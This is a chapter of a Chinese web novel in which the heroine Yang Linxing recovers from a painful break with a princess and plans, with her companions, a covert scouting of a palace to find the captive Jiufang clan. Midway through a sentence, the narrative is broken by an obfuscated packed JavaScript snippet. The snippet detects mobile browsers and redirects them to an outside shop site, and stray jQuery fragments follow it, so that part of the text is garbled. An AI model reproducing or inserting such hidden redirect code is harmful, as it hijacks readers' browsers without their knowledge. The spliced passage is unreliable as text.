67.运筹帷幄

作品:《孤阙逐星

    杨凛星起初还强撑着沉稳的步调,可脚步却像挣脱了掌控,越来越快,越来越急。最终,她几乎是逃离了公主府。


    不知撞开几个路人,又跌撞拐进几条深巷,她终于在一处被高墙阴影彻底吞没的角落停下。背脊重重抵上冰冷潮湿的砖墙,她才察觉自己正抑制不住地微喘,双腿发软,几乎要顺着墙壁滑坐下去。


    玉璃有些担忧的探出头来问道:“凛星大人,您没事儿吧……”


    “无事。”杨凛星脱口而出,话音却干涩紧绷得不像自己的。她抬手扶额,指尖冰凉,触到的却是自己眉心无法舒展的拧结和额角细密的冷汗。


    玉璃再也顾不上会不会惹人看见,清光一闪化为了人形,少年清秀的脸上写满无措:


    “凛星大人……我、我觉得公主殿下她不是那个意思,她……”


    “别说了。”


    三个字,低沉,喑哑,像从胸腔最深处碾磨而出。


    玉璃霎时噤声。


    巷子彻底沉入死寂,只有远处隐约的市井声,衬得这一隅更加空洞。


    杨凛星垂着头,凌乱的额发遮住了眼睛。她的理智在尖锐地催促:必须立刻联络沈灵泽,计划必须推进,九方氏等不起,南方部族的百姓也等不起。可另一股力量——那股由公主最后那句决绝话语化作的冰流,正蛮横地冲垮她所有冷静的堤防。她引以为傲的克制、筹谋,此刻碎得拼凑不起,连维持一个平静的表象都做不到。


    她像被困在无形的漩涡里,四周是冰冷漆黑的悔恨与无措,越是挣扎,越是下沉。指尖无意识地抠进粗糙的墙皮,传来细微的刺痛,却压不住心底那阵越来越强烈的、近乎窒息的空茫。


    ……谁来……


    拉我一把。


    “——凛星!”


    一声呼唤,如同利刃劈开厚重的迷雾。


    不是幻听。


    杨凛星猛地抬起头,涣散的瞳孔急剧收缩,终于在模糊的视野里,对焦了一张此刻绝不该出现在此地、却无比清晰的脸。


    沈灵泽半跪在她面前,一手还未来得及收回,似是刚用力摇晃过她的肩膀。他向来沉静的脸上此刻眉头紧锁,眼中是少见的焦灼与担忧,气息也带着急促,显然是一路疾寻而来。


    “你……”杨凛星张了张嘴,却只发出一个气音。


    沈灵泽目光快速扫过她苍白的脸、失神的眼,以及那微微颤抖却紧握成拳的手。他什么也没问,只是伸出手,温柔又不失力道地稳稳握住了她冰凉的手腕。


    掌心传来的温度并不滚烫,却异常坚实。


    “先离开这里。”他声音低沉,斩断了四周令人窒息的寂静,也拽住了她不断下坠的神智,“别的,待会儿再说。”


    沈灵泽的掌心像一块温热的烙铁,稳稳地锚定了杨凛星近乎溃散的意识。她没有挣脱,任由他拉着,穿过迷宫般的巷陌,回到了他们落脚的客栈。直到踏入房间,门在身后合拢,隔绝了外界的一切,手腕上那份坚定的暖意撤离,她才仿佛真正从冰冷的水底浮出,深深吸了一口气。


    房间内,翎光已焦急等候多时。见他们回来,明显松了口气。但定眼一看到杨凛星苍白的神色,眼中的忧虑又浮现出来。


    “大人,您……”


    “我没事。”杨凛星打断翎光未尽的关切,声音虽还有些沙哑,却已恢复了惯有的清晰与条理。她走到桌边,为自己倒了一杯早已凉透的茶水,一饮而尽。冰冷的液体滑过喉咙,带来一阵刺痛般的清醒。


    “时间紧迫,说正事。”她的目光依次从二人身上扫过,“你们是怎么从那边儿出来的?”


    “矿山里召集的人鱼龙混杂,管理也十分混乱,我和翎光没费什么功夫就出来了。”沈灵泽从衣袖中拿出一叠纸票,递给杨凛星,“这是瀛御国的银票,给你保管。”


    杨凛星放下茶杯,微微颔首。“公主府这条线,暂时走不通了。”她语气平淡地陈述了这个结果,没有过多解释其中的波折与心绪,“我们必须另辟蹊径,尽快找到确认九方氏下落,如果真的是在宫内,我们还要想一个万无一失的办法将他们带出宫外。”


    说完,她忍不住簇紧了眉心。若九方氏真在宫内,想要神不知鬼不觉地带出来,还真不是一件容易事。首先没办法确定他们的身体状态,若是受了刑罚,或遭遇了什么非人的待遇,她们区区四个人,要怎么去救偌大的一个氏族呢?


    沈灵泽在她对面坐下,指尖在粗糙的木桌上无意识地点了点:“宫禁森严,尤其是可能藏匿重要人物的地方,必是守卫重重。强攻硬闯,绝无可能。”


    “所以需要内应,或者,一个足够合理的、能让我们接近甚至进入可疑区域的身份与理由。”杨凛星接口,脑中飞速过滤着各种信息,“瀛御国主对公主擅闯慎刑司一事,虽暂未深究,但必有警觉。近期宫内人员出入核查必定更加严格。寻常工匠、杂役的路子,风险太高。”


    沈灵泽眉头紧锁:“我一直有个疑问,九方氏既然在南方部族遭受天灾人祸后,逐渐无力抵抗,那瀛御国为何非要将他们千里迢迢的带走?直接将他们软禁在昭华国内,又有何不可?”


    沈灵泽的问题像一颗投入平静水潭的石子,激起了更深层的涟漪。房间内烛火摇曳,映照出几人凝重的面容。


    杨凛星缓缓坐直身体,指尖在冰凉的茶杯沿口摩挲,眼中闪烁着思索的光芒:“这个问题,我也有想过。直接将九方氏软禁在昭华国,的确是更加省事,只不过……”


    她抬起眼,看向沈灵泽和同伴:“只不过这样一来,他们对九方氏的控制力就没有那么足。南部虽乱,却仍是昭华国土。瀛御人的手伸得再长,也无法像在自家王宫内那般做到绝对掌控。部族残余力量、昭华朝廷可能存在的暗中调查,甚至是九方氏族人自己寻找机会传递消息或逃脱,都是无法根除的风险。将他们带回瀛御,置于宫禁森严、耳目遍布的‘罐子’里,才能真正做到与世隔绝。”


    “但我想不通的是——”杨凛星话锋一转,眼眸中寒光迸射,“九方氏里究竟有什么,让他们这么在意?在意到连一丁点儿可能会发生的意外都要彻底铲除,不惜耗费巨大代价,跨越国境,将整个氏族囚禁于王宫内院”


    是人?是物?还是一个足以撼动两国格局、或者触及某个历史禁忌的秘密?


    这一切的答案,都得等见到九方氏的人以后才能解开了。


    她看向身旁一直沉默寡言的翎光,轻声道:“这次可能需要你先走一步了。”


    翎光抬起眼,目光沉静,无声地等待着指令。


    杨凛星摊开一张粗略描绘的皇宫布局草图,是基于那段时日玉璃在宫内观察后和她一起拼凑的。“上一次玉璃在宫内有找到一处可疑的地点,大概位置就在这里。你先一步潜入,尽可能贴近这一块域探查,看看有没有任何异常的人员看守、物资输送,或者……不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841615|189690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寻常的寂静。”


    翎光微微颔首,表示明白。


    “阿璃,你和翎光之间能相互感应对方,等他确认好方位,你要以最快的速度带我们和他汇合。”


    玉璃点了点小脑袋,坚定道:“我明白!”


    “我会和沈灵泽在外面着手准备。”她目光扫过三人,语气凝重:“此行凶险,瀛御王宫绝非寻常之地。翎光,你的任务是‘探’,而非‘战’,一切以隐匿自身、获取情报为先,万不可打草惊蛇。若事不可为,立刻撤回,我们再寻他法。”


    翎光终于开口,声音低沉简短:“明白。”


    杨凛星深深地看了他一眼,语气不容置喙:“三夜为限,无论有无发现,必返。”


    翎光再次颔首,没有多余的言语。


    “今天大家好好休息。”沈灵泽突然出声终止了讨论,“阿璃,翎光,你们先回房,我有些话想同凛星说。”


    “欸?这就……说完了吗?”玉璃好似慢了半拍,眸中透出点没反应过来的茫然,“沈大哥,你和凛星大人还要说什么秘密吗?我不能听吗?”语气里带着点被排除在外的小小不满和纯粹的好奇。


    沈灵泽笑了笑,语气温和但不容置疑:“是些琐碎安排,阿璃你也累了一天了,先去休息。翎光,带他回房。”


    已经走到门口的翎光脚步顿住,没回头,只伸出了一只手。那手掌宽大,手指骨节分明,安静地摊开着,意思明确。


    玉璃看看沈灵泽,又看看没什么表情的杨凛星,最后不情不愿地游走过去,细声嘟囔了一句:“好吧……那你们快点哦。”


    翎光领着玉璃,推门走了出去,并顺手带上了房门。


    屋内安静下来。杨凛星看向沈灵泽,等待他开口,脸上依旧是惯常的沉静。


    沈灵泽亦回望着她,深邃又清亮的眼眸中写满了温柔与缱绻,看的杨凛星心尖上微微塌下去一小块,酥酥麻麻的。


    “怎么了?”她低声问道,声音比平时更轻、更软,像一片羽毛不经意地擦过寂静的空气。


    沈灵泽没有回答,只是将桌上那盏微凉的灯往她手边推近了些,暖黄的光晕柔和地漫过她低垂的眼睫。他的声音比灯光更温和:“是因为……公主府的事?”


    杨凛星的指尖在杯沿轻轻收紧,半晌,才几不可闻地“嗯”了一声。


    “我做了一件……很糟糕的事。”她终于抬起眼,目光却没有焦点地落在跳动的烛火上,声音里带着罕见的迷茫,“我让她……很难过。”


    “我本可以更早告诉她,”杨凛星的声音很轻,像在说给自己听,“或者……从一开始就不该用那种方式接近她。我总想着任务,想着万无一失,却把最不该算计的人,放在了权衡的天平上。”


    沈灵泽依旧没有接话。他只是看着她,目光沉静得像夜色里的深潭,足以容纳她所有未尽的自责与懊悔。


    “现在说这些,大概也晚了。”她扯了扯嘴角,却没能弯成一个像样的弧度。


    “不晚。”沈灵泽终于开口,声音平稳,语气里却带着一丝极淡的、几乎听不出的温度:“凛星,你知道吗……真心待过的人,才会为彼此难过。”


    杨凛星怔了怔,抬眸看向他。


    她总觉得,沈灵泽的话中有话。


    沈灵泽却不再多说,只将一杯温热的白水轻轻放进她手里:“先办好眼前事。等把人救出来,你想怎么做,我都陪你去。”